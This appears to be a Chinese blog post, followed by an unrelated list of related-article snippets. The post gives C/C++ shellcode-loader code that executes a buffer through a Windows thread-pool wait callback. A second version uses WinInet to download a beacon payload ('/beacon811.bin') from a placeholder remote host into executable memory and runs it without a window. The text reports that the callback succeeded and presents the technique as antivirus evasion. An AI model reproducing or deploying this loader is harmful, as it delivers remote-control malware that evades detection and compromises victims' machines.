线程池等待对象回调函数执行(CreateThreadpoolWait)
最初始的模板
#include <stdio.h>
#include <Windows.h>int main() {unsigned char buf[] = "shellcode";/** VirtualProtect是Windows API,用于修改内存访问权限* 参数1:指向内存的指针* 参数2:内存大小(以字节为单位)* 参数3:新的访问权限* 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)*/DWORD oldProtect;VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行/** CreateEvent是Windows API,用于创建一个事件对象* 参数1:安全属性,NULL表示默认* 参数2:是否手动复位* 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态* 参数4:事件名称,NULL表示不使用名称*/HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);/** CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象* 参数1:回调函数指针* 参数2:回调函数参数* 参数3:线程池回调环境*/PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);/** SetThreadpoolWait是Windows API,用于向线程池中添加等待对象* 参数1:线程池等待对象* 参数2:要等待的内核对象句柄* 参数3:等待超时时间,NULL表示无限等待*/SetThreadpoolWait(threadPoolWait, event, NULL);WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数bufreturn 0;
}
然后我们写成远程加载的方式
#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#include <string>#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")using namespace std;int main() {unsigned char buf[] = "shellcode";void* exec;int payload_len = 280000; //shellcode大小 wchar_t host[] = L"xx.xx.xx.xx"; //远程下载的主机的ipWORD port = 8000; //端口wchar_t path[] = L"/beacon811.bin"; //对应的文件HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存//使用默认设置创建会话session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机conn = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求reqfile = HttpOpenRequest(conn, L"GET", path, NULL, NULL, NULL, 0, 0);//发送请求并读取响应HttpSendRequest(reqfile, NULL, 0, 0, 0);InternetReadFile(reqfile, exec, payload_len, &nread);std::string Content(reinterpret_cast<const char*>(exec), nread);/** VirtualProtect是Windows API,用于修改内存访问权限* 参数1:指向内存的指针* 参数2:内存大小(以字节为单位)* 参数3:新的访问权限* 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)*/DWORD oldProtect;VirtualProtect((LPVOID)Content.c_str(), Content.size(), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行/** CreateEvent是Windows API,用于创建一个事件对象* 参数1:安全属性,NULL表示默认* 参数2:是否手动复位* 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态* 参数4:事件名称,NULL表示不使用名称*/HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);/** CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象* 参数1:回调函数指针* 参数2:回调函数参数* 参数3:线程池回调环境*/PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)Content.c_str(), NULL, NULL);/** SetThreadpoolWait是Windows API,用于向线程池中添加等待对象* 参数1:线程池等待对象* 参数2:要等待的内核对象句柄* 参数3:等待超时时间,NULL表示无限等待*/SetThreadpoolWait(threadPoolWait, event, NULL);WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数bufreturn 0;
}

运行成功上线
需要单独使用的话套用811版本进行修改即可免杀
相关文章:
线程池等待对象回调函数执行(CreateThreadpoolWait)
最初始的模板 #include <stdio.h> #include <Windows.h>int main() {unsigned char buf[] "shellcode";/** VirtualProtect是Windows API,用于修改内存访问权限* 参数1:指向内存的指针* 参数2:内存大小(以字节为单位…...
npm yarn pnpm npx nvm 命令怎么区分怎么用
npm 包管理器,可以用来安装、卸载、更新和管理各种包npm的package.json中文文档 参数 - install:安装一个或多个包。例如:npm install 。 uninstall:卸载一个包。例如:npm uninstall 。 update…...
解锁市场进入成功:GTM 策略和即用型示例
在最初的几年里,创办一家初创公司可能会充满挑战。根据美国小企业管理局的数据,大约三分之二的新成立企业存活了两年,几乎一半的企业存活了五年以上。导致创业失败的因素有市场需求缺失、资金短缺、团队不合适、成本问题等。由此,…...
深度学习12:胶囊神经网络
目录 研究动机 CNN的缺陷 逆图形法 胶囊网络优点 胶囊网络缺点 研究内容 胶囊是什么 囊间动态路由算法 整体框架 编码器 损失函数 解码器 传统CNN存在着缺陷(下面会详细说明),如何解决CNN的不足,Hinton提出了一种对于图…...
unity 提取 字符串中 数字 修改后返回 字符串
参考博主:unity 提取字符串数字修改后返回字符串_unity string提取数字_lvcoc的博客-CSDN博客 正数和浮点数的 正则表达式 //正则表达式//const string pattern "\d";//表达1位或多位的整数数字 const string pattern "\d\.\d";//表达1位或…...
GWO-LSTM交通流量预测(python代码)
使用 GWO 优化 LSTM 模型的参数,从而实现交通流量的预测方法 代码运行版本要求 1.项目文件夹 data是数据文件夹,data.py是数据归一化等数据预处理脚本 images文件夹装的是不同模型结构打印图 model文件夹 GWO-LSTM测试集效果 效果视频:GWO…...
mysql建表问题
问题 例如用户表,我们需要建一个字段是创建时间, 一个字段是更新时间. 解决办法可以是指定插入时间,也可以使用数据库的默认时间. 在mysql中如果设置两个默认CURRENT_TIMESTAMP,会出现这样的错误. Error Code: 1293. Incorrect table definition; there can be only one TIMES…...
RocketMQ:一个纯java的开源消息中间件--开发测试环境搭建
一、简介 RocketMQ的前身是Metaq,当 Metaq 3.0发布时,产品名称改为 RocketMQ MetaQ2.x版本由于依赖了alibaba公司内部其他系统,对于公司外部用户使用不够友好,推荐使用3.0版本。 项目地址: https://github.com/alibaba/RocketMQ...
MySQL-Centos下MySQL5.7安装教程
MySQL安装教程 一,卸载MySQL二,安装MySQL三,mysql登录四,修改配置文件 一,卸载MySQL 1.如果你的机器上mysqld服务器还在运行,那么第一步就是要停掉服务。 systemctl stop mysqld;2.查看系统中安装的关于m…...
nginx配置SSL证书配置https访问网站 超详细(附加配置源码+图文配置教程)
最近在阿里云上入手了一台云服务器,准备搭建一套java程序,在Nginx配置SSL证书时,配上之后前端可以正常以https的方式打开,但是访问不到后端,自己也是明明知道是Niginx配置的问题,但就不知道错哪了ÿ…...
bh004- Blazor hybrid / Maui 使用 BootstrapBlazor UI 库快速教程
1. 建立工程 bh004_BootstrapBlazorUI 源码 2. 添加 nuget 包 <PackageReference Include"BootstrapBlazor" Version"7.*" /> <PackageReference Include"BootstrapBlazor.FontAwesome" Version"7.*" />3. 添加样式表文…...
k8s挂载映射操作详解
k8s投射数据卷 Projected Volume 在 k8s 中,有几种特殊的 Volume,它们的意义不是为了存放容器里的数据,也不是用来进行容器和宿主机之间的数据交换。"而是为容器提供预先定义好的数据。" 从容器的角度来看,这些 Volume…...
DevOps团队如何提高Kubernetes性能
今天,Kubernetes仍然是开发人员最需要的容器。Kubernets最初由 Google 工程师开发,作为跨本地、公共云、私有云或混合云托管的首选解决方案享誉全球。 来自Statista的报告显示,公共云中的Kubernetes市场份额在过去一年中上升了近30%。并且在…...
springboot整合modbus4J(二)
springboot整合modbus4J(二) maven依赖 <dependency><groupId>com.infiniteautomation</groupId><artifactId>modbus4j</artifactId><version>3.1.0</version> </dependency> <dependency><…...
ROS2之topic
目录 ros2 topic命令行 ros2 topic命令行 查看topic输出: ros2 topic echo <topic_name> 查看topic频率:ros2 topic hz <topic_name>...
C语言数值表示——进制、数值存储方式
进制 进制也就是进位制,是人们规定的一种进位方法对于任何一种进制—X进制,就表示某一位置上的数运算时是逢X进一位 十进制是逢十进一,十六进制是逢十六进一,二进制就是逢二进一,以此类推,x进制就是逢x进位…...
linux————keepalived+LVS(DR模式)
一、作用 使用keepalived解决LVS的单点故障 高可用集群 二、 调度器配置 环境 两台LVS服务 一主一备 两台web服务 采用nginx (实现LVS负载均衡) 服务ip 主LVS 192.168.100.3 备LVS 192.168.100.6 web1 192.…...
8月28日,每日信息差
1、欧拉汽车第40万台整车下线。据介绍品牌与用户共创的最新成果2023款好猫&好猫GT木兰版尊荣型也在同一时间上市,限时12.98万起 2、马克古尔曼:M3款苹果MacBook最早今年10月发布 3、大麦成立“艺展鸿图”展览厂牌。专注于高品质艺术展览、授权等业…...
vue-element-admin最新版4.4实现多个url路由匹配到一个路径时,左侧菜单保持高亮状态
文章目录 环境:需求:原因分析:如何解决: 环境: vue-admin-template-4.4版本(vue2) 需求: 当我访问申请开户时,也希望支付菜单能保持高亮状态。 原因分析: …...
Android自定义view实现横向滚动弹幕
参考文章 此方案使用动画方式实现,只适合轻量级别的弹幕滚动效果实现,数据量过大时会出现内存激增的情况。 效果: 自定义view代码 public class TumbleLayout extends ViewGroup {private final String TAG "TumbleLayout";priva…...
DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
VTK如何让部分单位不可见
最近遇到一个需求,需要让一个vtkDataSet中的部分单元不可见,查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行,是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示,主要是最后一个参数,透明度…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...
在golang中如何将已安装的依赖降级处理,比如:将 go-ansible/v2@v2.2.0 更换为 go-ansible/@v1.1.7
在 Go 项目中降级 go-ansible 从 v2.2.0 到 v1.1.7 具体步骤: 第一步: 修改 go.mod 文件 // 原 v2 版本声明 require github.com/apenella/go-ansible/v2 v2.2.0 替换为: // 改为 v…...
java高级——高阶函数、如何定义一个函数式接口类似stream流的filter
java高级——高阶函数、stream流 前情提要文章介绍一、函数伊始1.1 合格的函数1.2 有形的函数2. 函数对象2.1 函数对象——行为参数化2.2 函数对象——延迟执行 二、 函数编程语法1. 函数对象表现形式1.1 Lambda表达式1.2 方法引用(Math::max) 2 函数接口…...
【深尚想】TPS54618CQRTERQ1汽车级同步降压转换器电源芯片全面解析
1. 元器件定义与技术特点 TPS54618CQRTERQ1 是德州仪器(TI)推出的一款 汽车级同步降压转换器(DC-DC开关稳压器),属于高性能电源管理芯片。核心特性包括: 输入电压范围:2.95V–6V,输…...
深入解析光敏传感技术:嵌入式仿真平台如何重塑电子工程教学
一、光敏传感技术的物理本质与系统级实现挑战 光敏电阻作为经典的光电传感器件,其工作原理根植于半导体材料的光电导效应。当入射光子能量超过材料带隙宽度时,价带电子受激发跃迁至导带,形成电子-空穴对,导致材料电导率显著提升。…...
【Ftrace 专栏】Ftrace 参考博文
ftrace、perf、bcc、bpftrace、ply、simple_perf的使用Ftrace 基本用法Linux 利用 ftrace 分析内核调用如何利用ftrace精确跟踪特定进程调度信息使用 ftrace 进行追踪延迟Linux-培训笔记-ftracehttps://www.kernel.org/doc/html/v4.18/trace/events.htmlhttps://blog.csdn.net/…...
